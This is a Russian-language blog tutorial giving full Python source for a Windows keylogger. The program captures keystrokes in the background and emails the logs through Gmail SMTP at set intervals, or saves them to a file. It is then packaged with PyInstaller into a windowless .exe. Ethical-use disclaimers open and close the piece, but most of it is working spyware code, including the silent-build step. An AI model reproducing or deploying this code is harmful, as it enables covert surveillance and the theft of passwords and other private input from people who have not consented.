🕵 Пишем кейлоггер на Python для Windows за 5 минут
Более 7 лет работы в IT-сфере. Системное администрирование, frontend разработка, написание скриптов на Python. Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала. Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала. Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации. Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия. Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры. Ставим библиотеку простой командой в терминале: Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email. Начнем с импорта необходимых библиотек: Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи: Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений. Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера» Интересно, перейти к каналу Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать. Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу: Мы установили в качестве метода отправки по умолчанию значение Используем функцию клавиатуры Если при отправке лога на email, консоль выдает ошибку вроде Давайте определим метод Мы закончили с классом Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку: И собираем все в файл: На выходе получаем файл с расширением Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО. Сергей Кравченко
Что такое кейлоггер и зачем он нужен
Подготовка: устанавливаем Python и библиотеки
pip3 install keyboard
Пишем кейлоггер
Импорт библиотек
import keyboard import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime
Инициализируем параметры
SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "notmygmail@gmail.com" EMAIL_PASSWORD = "notmypassword"
Создаем класс и методы
class Keylogger: def __init__(self, interval, report_method="email"): # передаем SEND_REPORT_EVERY в интервал self.interval = interval self.report_method = report_method # это строковая переменная, которая содержит лог self.log = "" #запись начала и окончания даты и времени self.start_dt = datetime.now() self.end_dt = datetime.now()
email
, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.on_release()
, которая принимает обратный вызов.
def callback(self, event): name = event.name if len(name) > 1: #не символ, специальная клавиша (например, ctrl, alt и т. д.) #верхний регистр if name == "space": #" " вместо пробелов name = " " elif name == "enter": #добавлять новую строку всякий раз, когда нажимается ENTER name = "[ENTER]n" elif name == "decimal": name = "." else: #замените пробелы символами подчеркивания name = name.replace(" ", "_") name = f"[{name.upper()}]" #добавить имя ключа в глобальную переменную self.log += name
Пишем метод для записи в локальный файл
def update_filename(self): #создать имя файла, которое будет идентифицировано по дате начала и окончания записи start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-{start_dt_str}_{end_dt_str}" def report_to_file(self): # создать файл with open(f"{self.filename}.txt", "w") as f: # записать лог print(self.log, file=f) print(f"[+] Saved {self.filename}.txt")
Отправка на email
def sendmail(self, email, password, message): # управляет подключением к SMTP-серверу server = smtplib.SMTP(host="smtp.gmail.com", port=587) # подключиться к SMTP-серверу в режиме TLS server.starttls() # логин server.login(email, password) # отправить сообщение server.sendmail(email, email, message) # завершает сеанс server.quit()
UnicodeEncodeError: 'ascii' codec can't encode character
, откройте библиотеку smtplib.py
по адресу C:UsersuserAppDataLocalProgramsPythonPython39Lib
, найдите строку msg = _fix_eols(msg).encode('ascii')
и замените ее на msg = _fix_eols(msg).encode('utf8')
. Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.Сообщаем лог через заданные промежутки времени
def report(self): if self.log: self.end_dt = datetime.now() # обновить `self.filename` self.update_filename() if self.report_method == "email": self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) timer.daemon = True # старт timer.start()
on_release()
:
def start(self): #записать дату и время начала self.start_dt = datetime.now() #запустить кейлогер keyboard.on_release(callback=self.callback) self.report() keyboard.wait()
Keylogger
, теперь нужно создать экземпляр этого класса:
if __name__ == "__main__": # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file" # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # для записи в локальный файл оставляем как есть keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start()
Использование
pip3 install pyinstaller
pyinstaller --onefile -w 'keylogger.py'
.exe
, который можно использовать на любом компьютере под управлением Windows.Материалы по теме
- 2 views
- 0 Comment